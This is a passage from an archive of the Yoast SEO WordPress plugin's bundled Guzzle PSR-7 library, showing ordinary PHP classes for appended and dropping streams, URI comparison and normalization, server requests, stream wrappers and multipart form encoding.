        $this->pos = $this->current = 0;
        // Rewind each stream
        foreach ($this->streams as $i => $stream) {
            try {
                $stream->rewind();
            } catch (\Exception $e) {
                throw new \RuntimeException('Unable to seek stream ' . $i . ' of the AppendStream', 0, $e);
            }
        }
        // Seek to the actual position by reading from each stream
        while ($this->pos < $offset && !$this->eof()) {
            $result = $this->read(\min(8096, $offset - $this->pos));
            if ($result === '') {
                break;
            }
        }
    }
    /**
     * Reads from all of the appended streams until the length is met or EOF.
     */
    public function read($length) : string
    {
        $buffer = '';
        $total = \count($this->streams) - 1;
        $remaining = $length;
        $progressToNext = \false;
        while ($remaining > 0) {
            // Progress to the next stream if needed.
            if ($progressToNext || $this->streams[$this->current]->eof()) {
                $progressToNext = \false;
                if ($this->current === $total) {
                    break;
                }
                ++$this->current;
            }
            $result = $this->streams[$this->current]->read($remaining);
            if ($result === '') {
                $progressToNext = \true;
                continue;
            }
            $buffer .= $result;
            $remaining = $length - \strlen($buffer);
        }
        $this->pos += \strlen($buffer);
        return $buffer;
    }
    public function isReadable() : bool
    {
        return \true;
    }
    public function isWritable() : bool
    {
        return \false;
    }
    public function isSeekable() : bool
    {
        return $this->seekable;
    }
    public function write($string) : int
    {
        throw new \RuntimeException('Cannot write to an AppendStream');
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        return $key ? null : [];
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/DroppingStream.php000064400000002413147510273100022114 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Stream decorator that begins dropping data once the size of the underlying
 * stream becomes too full.
 */
final class DroppingStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var int */
    private $maxLength;
    /** @var StreamInterface */
    private $stream;
    /**
     * @param StreamInterface $stream    Underlying stream to decorate.
     * @param int             $maxLength Maximum size before dropping data.
     */
    public function __construct(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $maxLength)
    {
        $this->stream = $stream;
        $this->maxLength = $maxLength;
    }
    public function write($string) : int
    {
        $diff = $this->maxLength - $this->stream->getSize();
        // Begin returning 0 when the underlying stream is too large.
        if ($diff <= 0) {
            return 0;
        }
        // Write the stream or a subset of the stream if needed.
        if (\strlen($string) < $diff) {
            return $this->stream->write($string);
        }
        return $this->stream->write(\substr($string, 0, $diff));
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/UriComparator.php000064400000002402147510273100021743 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Provides methods to determine if a modified URL should be considered cross-origin.
 *
 * @author Graham Campbell
 */
final class UriComparator
{
    /**
     * Determines if a modified URL should be considered cross-origin with
     * respect to an original URL.
     */
    public static function isCrossOrigin(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $original, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $modified) : bool
    {
        if (\strcasecmp($original->getHost(), $modified->getHost()) !== 0) {
            return \true;
        }
        if ($original->getScheme() !== $modified->getScheme()) {
            return \true;
        }
        if (self::computePort($original) !== self::computePort($modified)) {
            return \true;
        }
        return \false;
    }
    private static function computePort(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : int
    {
        $port = $uri->getPort();
        if (null !== $port) {
            return $port;
        }
        return 'https' === $uri->getScheme() ? 443 : 80;
    }
    private function __construct()
    {
        // cannot be instantiated
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Rfc7230.php000064400000001232147510273100020202 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

/**
 * @internal
 */
final class Rfc7230
{
    /**
     * Header related regular expressions (based on amphp/http package)
     *
     * Note: header delimiter (\r\n) is modified to \r?\n to accept line feed only delimiters for BC reasons.
     *
     * @see https://github.com/amphp/http/blob/v1.0.1/src/Rfc7230.php#L12-L15
     *
     * @license https://github.com/amphp/http/blob/v1.0.1/LICENSE
     */
    public const HEADER_REGEX = "(^([^()<>@,;:\\\"/[\\]?={}\x01- ]++):[ \t]*+((?:[ \t]*+[!-~\x80-\xff]++)*+)[ \t]*+\r?\n)m";
    public const HEADER_FOLD_REGEX = "(\r?\n[ \t]++)";
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/UriNormalizer.php000064400000020702147510273100021761 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Provides methods to normalize and compare URIs.
 *
 * @author Tobias Schultze
 *
 * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6
 */
final class UriNormalizer
{
    /**
     * Default normalizations which only include the ones that preserve semantics.
     */
    public const PRESERVING_NORMALIZATIONS = self::CAPITALIZE_PERCENT_ENCODING | self::DECODE_UNRESERVED_CHARACTERS | self::CONVERT_EMPTY_PATH | self::REMOVE_DEFAULT_HOST | self::REMOVE_DEFAULT_PORT | self::REMOVE_DOT_SEGMENTS;
    /**
     * All letters within a percent-encoding triplet (e.g., "%3A") are case-insensitive, and should be capitalized.
     *
     * Example: http://example.org/a%c2%b1b → http://example.org/a%C2%B1b
     */
    public const CAPITALIZE_PERCENT_ENCODING = 1;
    /**
     * Decodes percent-encoded octets of unreserved characters.
     *
     * For consistency, percent-encoded octets in the ranges of ALPHA (%41–%5A and %61–%7A), DIGIT (%30–%39),
     * hyphen (%2D), period (%2E), underscore (%5F), or tilde (%7E) should not be created by URI producers and,
     * when found in a URI, should be decoded to their corresponding unreserved characters by URI normalizers.
     *
     * Example: http://example.org/%7Eusern%61me/ → http://example.org/~username/
     */
    public const DECODE_UNRESERVED_CHARACTERS = 2;
    /**
     * Converts the empty path to "/" for http and https URIs.
     *
     * Example: http://example.org → http://example.org/
     */
    public const CONVERT_EMPTY_PATH = 4;
    /**
     * Removes the default host of the given URI scheme from the URI.
     *
     * Only the "file" scheme defines the default host "localhost".
     * All of `file:/myfile`, `file:///myfile`, and `file://localhost/myfile`
     * are equivalent according to RFC 3986. The first format is not accepted
     * by PHPs stream functions and thus already normalized implicitly to the
     * second format in the Uri class. See `GuzzleHttp\Psr7\Uri::composeComponents`.
     *
     * Example: file://localhost/myfile → file:///myfile
     */
    public const REMOVE_DEFAULT_HOST = 8;
    /**
     * Removes the default port of the given URI scheme from the URI.
     *
     * Example: http://example.org:80/ → http://example.org/
     */
    public const REMOVE_DEFAULT_PORT = 16;
    /**
     * Removes unnecessary dot-segments.
     *
     * Dot-segments in relative-path references are not removed as it would
     * change the semantics of the URI reference.
     *
     * Example: http://example.org/../a/b/../c/./d.html → http://example.org/a/c/d.html
     */
    public const REMOVE_DOT_SEGMENTS = 32;
    /**
     * Paths which include two or more adjacent slashes are converted to one.
     *
     * Webservers usually ignore duplicate slashes and treat those URIs equivalent.
     * But in theory those URIs do not need to be equivalent. So this normalization
     * may change the semantics. Encoded slashes (%2F) are not removed.
     *
     * Example: http://example.org//foo///bar.html → http://example.org/foo/bar.html
     */
    public const REMOVE_DUPLICATE_SLASHES = 64;
    /**
     * Sort query parameters with their values in alphabetical order.
     *
     * However, the order of parameters in a URI may be significant (this is not defined by the standard).
     * So this normalization is not safe and may change the semantics of the URI.
     *
     * Example: ?lang=en&article=fred → ?article=fred&lang=en
     *
     * Note: The sorting is neither locale nor Unicode aware (the URI query does not get decoded at all) as the
     * purpose is to be able to compare URIs in a reproducible way, not to have the params sorted perfectly.
     */
    public const SORT_QUERY_PARAMETERS = 128;
    /**
     * Returns a normalized URI.
     *
     * The scheme and host component are already normalized to lowercase per PSR-7 UriInterface.
     * This methods adds additional normalizations that can be configured with the $flags parameter.
     *
     * PSR-7 UriInterface cannot distinguish between an empty component and a missing component as
     * getQuery(), getFragment() etc. always return a string. This means the URIs "/?#" and "/" are
     * treated equivalent which is not necessarily true according to RFC 3986. But that difference
     * is highly uncommon in reality. So this potential normalization is implied in PSR-7 as well.
     *
     * @param UriInterface $uri   The URI to normalize
     * @param int          $flags A bitmask of normalizations to apply, see constants
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6.2
     */
    public static function normalize(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, int $flags = self::PRESERVING_NORMALIZATIONS) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        if ($flags & self::CAPITALIZE_PERCENT_ENCODING) {
            $uri = self::capitalizePercentEncoding($uri);
        }
        if ($flags & self::DECODE_UNRESERVED_CHARACTERS) {
            $uri = self::decodeUnreservedCharacters($uri);
        }
        if ($flags & self::CONVERT_EMPTY_PATH && $uri->getPath() === '' && ($uri->getScheme() === 'http' || $uri->getScheme() === 'https')) {
            $uri = $uri->withPath('/');
        }
        if ($flags & self::REMOVE_DEFAULT_HOST && $uri->getScheme() === 'file' && $uri->getHost() === 'localhost') {
            $uri = $uri->withHost('');
        }
        if ($flags & self::REMOVE_DEFAULT_PORT && $uri->getPort() !== null && \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::isDefaultPort($uri)) {
            $uri = $uri->withPort(null);
        }
        if ($flags & self::REMOVE_DOT_SEGMENTS && !\YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::isRelativePathReference($uri)) {
            $uri = $uri->withPath(\YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::removeDotSegments($uri->getPath()));
        }
        if ($flags & self::REMOVE_DUPLICATE_SLASHES) {
            $uri = $uri->withPath(\preg_replace('#//++#', '/', $uri->getPath()));
        }
        if ($flags & self::SORT_QUERY_PARAMETERS && $uri->getQuery() !== '') {
            $queryKeyValues = \explode('&', $uri->getQuery());
            \sort($queryKeyValues);
            $uri = $uri->withQuery(\implode('&', $queryKeyValues));
        }
        return $uri;
    }
    /**
     * Whether two URIs can be considered equivalent.
     *
     * Both URIs are normalized automatically before comparison with the given $normalizations bitmask. The method also
     * accepts relative URI references and returns true when they are equivalent. This of course assumes they will be
     * resolved against the same base URI. If this is not the case, determination of equivalence or difference of
     * relative references does not mean anything.
     *
     * @param UriInterface $uri1           An URI to compare
     * @param UriInterface $uri2           An URI to compare
     * @param int          $normalizations A bitmask of normalizations to apply, see constants
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6.1
     */
    public static function isEquivalent(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri1, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri2, int $normalizations = self::PRESERVING_NORMALIZATIONS) : bool
    {
        return (string) self::normalize($uri1, $normalizations) === (string) self::normalize($uri2, $normalizations);
    }
    private static function capitalizePercentEncoding(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $regex = '/(?:%[A-Fa-f0-9]{2})++/';
        $callback = function (array $match) : string {
            return \strtoupper($match[0]);
        };
        return $uri->withPath(\preg_replace_callback($regex, $callback, $uri->getPath()))->withQuery(\preg_replace_callback($regex, $callback, $uri->getQuery()));
    }
    private static function decodeUnreservedCharacters(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $regex = '/%(?:2D|2E|5F|7E|3[0-9]|[46][1-9A-F]|[57][0-9A])/i';
        $callback = function (array $match) : string {
            return \rawurldecode($match[0]);
        };
        return $uri->withPath(\preg_replace_callback($regex, $callback, $uri->getPath()))->withQuery(\preg_replace_callback($regex, $callback, $uri->getQuery()));
    }
    private function __construct()
    {
        // cannot be instantiated
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/LazyOpenStream.php000064400000002340147510273100022072 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Lazily reads or writes to a file that is opened only after an IO operation
 * take place on the stream.
 */
final class LazyOpenStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var string */
    private $filename;
    /** @var string */
    private $mode;
    /**
     * @var StreamInterface
     */
    private $stream;
    /**
     * @param string $filename File to lazily open
     * @param string $mode     fopen mode to use when opening the stream
     */
    public function __construct(string $filename, string $mode)
    {
        $this->filename = $filename;
        $this->mode = $mode;
        // unsetting the property forces the first access to go through
        // __get().
        unset($this->stream);
    }
    /**
     * Creates the underlying stream lazily when required.
     */
    protected function createStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($this->filename, $this->mode));
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/ServerRequest.php000064400000023235147510273100022002 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use InvalidArgumentException;
use YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Server-side HTTP request
 *
 * Extends the Request definition to add methods for accessing incoming data,
 * specifically server parameters, cookies, matched path parameters, query
 * string arguments, body parameters, and upload file information.
 *
 * "Attributes" are discovered via decomposing the request (and usually
 * specifically the URI path), and typically will be injected by the application.
 *
 * Requests are considered immutable; all methods that might change state are
 * implemented such that they retain the internal state of the current
 * message and return a new instance that contains the changed state.
 */
class ServerRequest extends \YoastSEO_Vendor\GuzzleHttp\Psr7\Request implements \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
{
    /**
     * @var array
     */
    private $attributes = [];
    /**
     * @var array
     */
    private $cookieParams = [];
    /**
     * @var array|object|null
     */
    private $parsedBody;
    /**
     * @var array
     */
    private $queryParams = [];
    /**
     * @var array
     */
    private $serverParams;
    /**
     * @var array
     */
    private $uploadedFiles = [];
    /**
     * @param string                               $method       HTTP method
     * @param string|UriInterface                  $uri          URI
     * @param (string|string[])[]                  $headers      Request headers
     * @param string|resource|StreamInterface|null $body         Request body
     * @param string                               $version      Protocol version
     * @param array                                $serverParams Typically the $_SERVER superglobal
     */
    public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = [])
    {
        $this->serverParams = $serverParams;
        parent::__construct($method, $uri, $headers, $body, $version);
    }
    /**
     * Return an UploadedFile instance array.
     *
     * @param array $files An array which respect $_FILES structure
     *
     * @throws InvalidArgumentException for unrecognized values
     */
    public static function normalizeFiles(array $files) : array
    {
        $normalized = [];
        foreach ($files as $key => $value) {
            if ($value instanceof \YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface) {
                $normalized[$key] = $value;
            } elseif (\is_array($value) && isset($value['tmp_name'])) {
                $normalized[$key] = self::createUploadedFileFromSpec($value);
            } elseif (\is_array($value)) {
                $normalized[$key] = self::normalizeFiles($value);
                continue;
            } else {
                throw new \InvalidArgumentException('Invalid value in files specification');
            }
        }
        return $normalized;
    }
    /**
     * Create and return an UploadedFile instance from a $_FILES specification.
     *
     * If the specification represents an array of values, this method will
     * delegate to normalizeNestedFileSpec() and return that return value.
     *
     * @param array $value $_FILES struct
     *
     * @return UploadedFileInterface|UploadedFileInterface[]
     */
    private static function createUploadedFileFromSpec(array $value)
    {
        if (\is_array($value['tmp_name'])) {
            return self::normalizeNestedFileSpec($value);
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\UploadedFile($value['tmp_name'], (int) $value['size'], (int) $value['error'], $value['name'], $value['type']);
    }
    /**
     * Normalize an array of file specifications.
     *
     * Loops through all nested files and returns a normalized array of
     * UploadedFileInterface instances.
     *
     * @return UploadedFileInterface[]
     */
    private static function normalizeNestedFileSpec(array $files = []) : array
    {
        $normalizedFiles = [];
        foreach (\array_keys($files['tmp_name']) as $key) {
            $spec = ['tmp_name' => $files['tmp_name'][$key], 'size' => $files['size'][$key] ?? null, 'error' => $files['error'][$key] ?? null, 'name' => $files['name'][$key] ?? null, 'type' => $files['type'][$key] ?? null];
            $normalizedFiles[$key] = self::createUploadedFileFromSpec($spec);
        }
        return $normalizedFiles;
    }
    /**
     * Return a ServerRequest populated with superglobals:
     * $_GET
     * $_POST
     * $_COOKIE
     * $_FILES
     * $_SERVER
     */
    public static function fromGlobals() : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        $method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
        $headers = \getallheaders();
        $uri = self::getUriFromGlobals();
        $body = new \YoastSEO_Vendor\GuzzleHttp\Psr7\CachingStream(new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream('php://input', 'r+'));
        $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? \str_replace('HTTP/', '', $_SERVER['SERVER_PROTOCOL']) : '1.1';
        $serverRequest = new \YoastSEO_Vendor\GuzzleHttp\Psr7\ServerRequest($method, $uri, $headers, $body, $protocol, $_SERVER);
        return $serverRequest->withCookieParams($_COOKIE)->withQueryParams($_GET)->withParsedBody($_POST)->withUploadedFiles(self::normalizeFiles($_FILES));
    }
    private static function extractHostAndPortFromAuthority(string $authority) : array
    {
        $uri = 'http://' . $authority;
        $parts = \parse_url($uri);
        if (\false === $parts) {
            return [null, null];
        }
        $host = $parts['host'] ?? null;
        $port = $parts['port'] ?? null;
        return [$host, $port];
    }
    /**
     * Get a Uri populated with values from $_SERVER.
     */
    public static function getUriFromGlobals() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $uri = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri('');
        $uri = $uri->withScheme(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http');
        $hasPort = \false;
        if (isset($_SERVER['HTTP_HOST'])) {
            [$host, $port] = self::extractHostAndPortFromAuthority($_SERVER['HTTP_HOST']);
            if ($host !== null) {
                $uri = $uri->withHost($host);
            }
            if ($port !== null) {
                $hasPort = \true;
                $uri = $uri->withPort($port);
            }
        } elseif (isset($_SERVER['SERVER_NAME'])) {
            $uri = $uri->withHost($_SERVER['SERVER_NAME']);
        } elseif (isset($_SERVER['SERVER_ADDR'])) {
            $uri = $uri->withHost($_SERVER['SERVER_ADDR']);
        }
        if (!$hasPort && isset($_SERVER['SERVER_PORT'])) {
            $uri = $uri->withPort($_SERVER['SERVER_PORT']);
        }
        $hasQuery = \false;
        if (isset($_SERVER['REQUEST_URI'])) {
            $requestUriParts = \explode('?', $_SERVER['REQUEST_URI'], 2);
            $uri = $uri->withPath($requestUriParts[0]);
            if (isset($requestUriParts[1])) {
                $hasQuery = \true;
                $uri = $uri->withQuery($requestUriParts[1]);
            }
        }
        if (!$hasQuery && isset($_SERVER['QUERY_STRING'])) {
            $uri = $uri->withQuery($_SERVER['QUERY_STRING']);
        }
        return $uri;
    }
    public function getServerParams() : array
    {
        return $this->serverParams;
    }
    public function getUploadedFiles() : array
    {
        return $this->uploadedFiles;
    }
    public function withUploadedFiles(array $uploadedFiles) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        $new = clone $this;
        $new->uploadedFiles = $uploadedFiles;
        return $new;
    }
    public function getCookieParams() : array
    {
        return $this->cookieParams;
    }
    public function withCookieParams(array $cookies) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        $new = clone $this;
        $new->cookieParams = $cookies;
        return $new;
    }
    public function getQueryParams() : array
    {
        return $this->queryParams;
    }
    public function withQueryParams(array $query) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        $new = clone $this;
        $new->queryParams = $query;
        return $new;
    }
    /**
     * @return array|object|null
     */
    public function getParsedBody()
    {
        return $this->parsedBody;
    }
    public function withParsedBody($data) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        $new = clone $this;
        $new->parsedBody = $data;
        return $new;
    }
    public function getAttributes() : array
    {
        return $this->attributes;
    }
    /**
     * @return mixed
     */
    public function getAttribute($attribute, $default = null)
    {
        if (\false === \array_key_exists($attribute, $this->attributes)) {
            return $default;
        }
        return $this->attributes[$attribute];
    }
    public function withAttribute($attribute, $value) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        $new = clone $this;
        $new->attributes[$attribute] = $value;
        return $new;
    }
    public function withoutAttribute($attribute) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        if (\false === \array_key_exists($attribute, $this->attributes)) {
            return $this;
        }
        $new = clone $this;
        unset($new->attributes[$attribute]);
        return $new;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/StreamWrapper.php000064400000010161147510273100021751 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Converts Guzzle streams into PHP stream resources.
 *
 * @see https://www.php.net/streamwrapper
 */
final class StreamWrapper
{
    /** @var resource */
    public $context;
    /** @var StreamInterface */
    private $stream;
    /** @var string r, r+, or w */
    private $mode;
    /**
     * Returns a resource representing the stream.
     *
     * @param StreamInterface $stream The stream to get a resource for
     *
     * @return resource
     *
     * @throws \InvalidArgumentException if stream is not readable or writable
     */
    public static function getResource(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream)
    {
        self::register();
        if ($stream->isReadable()) {
            $mode = $stream->isWritable() ? 'r+' : 'r';
        } elseif ($stream->isWritable()) {
            $mode = 'w';
        } else {
            throw new \InvalidArgumentException('The stream must be readable, ' . 'writable, or both.');
        }
        return \fopen('guzzle://stream', $mode, \false, self::createStreamContext($stream));
    }
    /**
     * Creates a stream context that can be used to open a stream as a php stream resource.
     *
     * @return resource
     */
    public static function createStreamContext(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream)
    {
        return \stream_context_create(['guzzle' => ['stream' => $stream]]);
    }
    /**
     * Registers the stream wrapper if needed
     */
    public static function register() : void
    {
        if (!\in_array('guzzle', \stream_get_wrappers())) {
            \stream_wrapper_register('guzzle', __CLASS__);
        }
    }
    public function stream_open(string $path, string $mode, int $options, string &$opened_path = null) : bool
    {
        $options = \stream_context_get_options($this->context);
        if (!isset($options['guzzle']['stream'])) {
            return \false;
        }
        $this->mode = $mode;
        $this->stream = $options['guzzle']['stream'];
        return \true;
    }
    public function stream_read(int $count) : string
    {
        return $this->stream->read($count);
    }
    public function stream_write(string $data) : int
    {
        return $this->stream->write($data);
    }
    public function stream_tell() : int
    {
        return $this->stream->tell();
    }
    public function stream_eof() : bool
    {
        return $this->stream->eof();
    }
    public function stream_seek(int $offset, int $whence) : bool
    {
        $this->stream->seek($offset, $whence);
        return \true;
    }
    /**
     * @return resource|false
     */
    public function stream_cast(int $cast_as)
    {
        $stream = clone $this->stream;
        $resource = $stream->detach();
        return $resource ?? \false;
    }
    /**
     * @return array{
     *   dev: int,
     *   ino: int,
     *   mode: int,
     *   nlink: int,
     *   uid: int,
     *   gid: int,
     *   rdev: int,
     *   size: int,
     *   atime: int,
     *   mtime: int,
     *   ctime: int,
     *   blksize: int,
     *   blocks: int
     * }
     */
    public function stream_stat() : array
    {
        static $modeMap = ['r' => 33060, 'rb' => 33060, 'r+' => 33206, 'w' => 33188, 'wb' => 33188];
        return ['dev' => 0, 'ino' => 0, 'mode' => $modeMap[$this->mode], 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => $this->stream->getSize() ?: 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0];
    }
    /**
     * @return array{
     *   dev: int,
     *   ino: int,
     *   mode: int,
     *   nlink: int,
     *   uid: int,
     *   gid: int,
     *   rdev: int,
     *   size: int,
     *   atime: int,
     *   mtime: int,
     *   ctime: int,
     *   blksize: int,
     *   blocks: int
     * }
     */
    public function url_stat(string $path, int $flags) : array
    {
        return ['dev' => 0, 'ino' => 0, 'mode' => 0, 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0];
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/MultipartStream.php000064400000012371147510273100022317 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Stream that when read returns bytes for a streaming multipart or
 * multipart/form-data stream.
 */
final class MultipartStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var string */
    private $boundary;
    /** @var StreamInterface */
    private $stream;
    /**
     * @param array  $elements Array of associative arrays, each containing a
     *                         required "name" key mapping to the form field,
     *                         name, a required "contents" key mapping to a
     *                         StreamInterface/resource/string, an optional
     *                         "headers" associative array of custom headers,
     *                         and an optional "filename" key mapping to a
     *                         string to send as the filename in the part.
     * @param string $boundary You can optionally provide a specific boundary
     *
     * @throws \InvalidArgumentException
     */
    public function __construct(array $elements = [], string $boundary = null)
    {
        $this->boundary = $boundary ?: \bin2hex(\random_bytes(20));
        $this->stream = $this->createStream($elements);
    }
    public function getBoundary() : string
    {
        return $this->boundary;
    }
    public function isWritable() : bool
    {
        return \false;
    }
    /**
     * Get the headers needed before transferring the content of a POST file
     *
     * @param string[] $headers
     */
    private function getHeaders(array $headers) : string
    {
        $str = '';
        foreach ($headers as $key => $value) {
            $str .= "{$key}: {$value}\r\n";
        }
        return "--{$this->boundary}\r\n" . \trim($str) . "\r\n\r\n";
    }
    /**
     * Create the aggregate stream that will be used to upload the POST data
     */
    protected function createStream(array $elements = []) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        $stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\AppendStream();
        foreach ($elements as $element) {
            if (!\is_array($element)) {
                throw new \UnexpectedValueException('An array is expected');
            }
            $this->addElement($stream, $element);
        }
        // Add the trailing boundary with CRLF
        $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor("--{$this->boundary}--\r\n"));
        return $stream;
    }
    private function addElement(\YoastSEO_Vendor\GuzzleHttp\Psr7\AppendStream $stream, array $element) : void
    {
        foreach (['contents', 'name'] as $key) {
            if (!\array_key_exists($key, $element)) {
                throw new \InvalidArgumentException("A '{$key}' key is required");
            }
        }
        $element['contents'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($element['contents']);
        if (empty($element['filename'])) {
            $uri = $element['contents']->getMetadata('uri');
            if ($uri && \is_string($uri) && \substr($uri, 0, 6) !== 'php://' && \substr($uri, 0, 7) !== 'data://') {
                $element['filename'] = $uri;
            }
        }
        [$body, $headers] = $this->createElement($element['name'], $element['contents'], $element['filename'] ?? null, $element['headers'] ?? []);
        $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($this->getHeaders($headers)));
        $stream->addStream($body);
        $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor("\r\n"));
    }
    /**
     * @param string[] $headers
     *
     * @return array{0: StreamInterface, 1: string[]}
     */
    private function createElement(string $name, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, ?string $filename, array $headers) : array
    {
        // Set a default content-disposition header if one was no provided
        $disposition = self::getHeader($headers, 'content-disposition');
        if (!$disposition) {
            $headers['Content-Disposition'] = $filename === '0' || $filename ? \sprintf('form-data; name="%s"; filename="%s"', $name, \basename($filename)) : "form-data; name=\"{$name}\"";
        }
        // Set a default content-length header if one was no provided
        $length = self::getHeader($headers, 'content-length');
        if (!$length) {
            if ($length = $stream->getSize()) {
                $headers['Content-Length'] = (string) $length;
            }
        }
        // Set a default Content-Type if one was not supplied
        $type = self::getHeader($headers, 'content-type');
        if (!$type && ($filename === '0' || $filename)) {
            $headers['Content-Type'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename) ?? 'application/octet-stream';
        }
        return [$stream, $headers];
    }
    /**
     * @param string[] $headers
     */
    private static function getHeader(array $headers, string $key) : ?string
    {
        $lowercaseHeader = \strtolower($key);
        foreach ($headers as $k => $v) {
            if (\strtolower((string) $k) === $lowercaseHeader) {
                return $v;
            }
        }
        return null;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/MimeType.php000064400000130251147510273100020711 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

final class MimeType
{
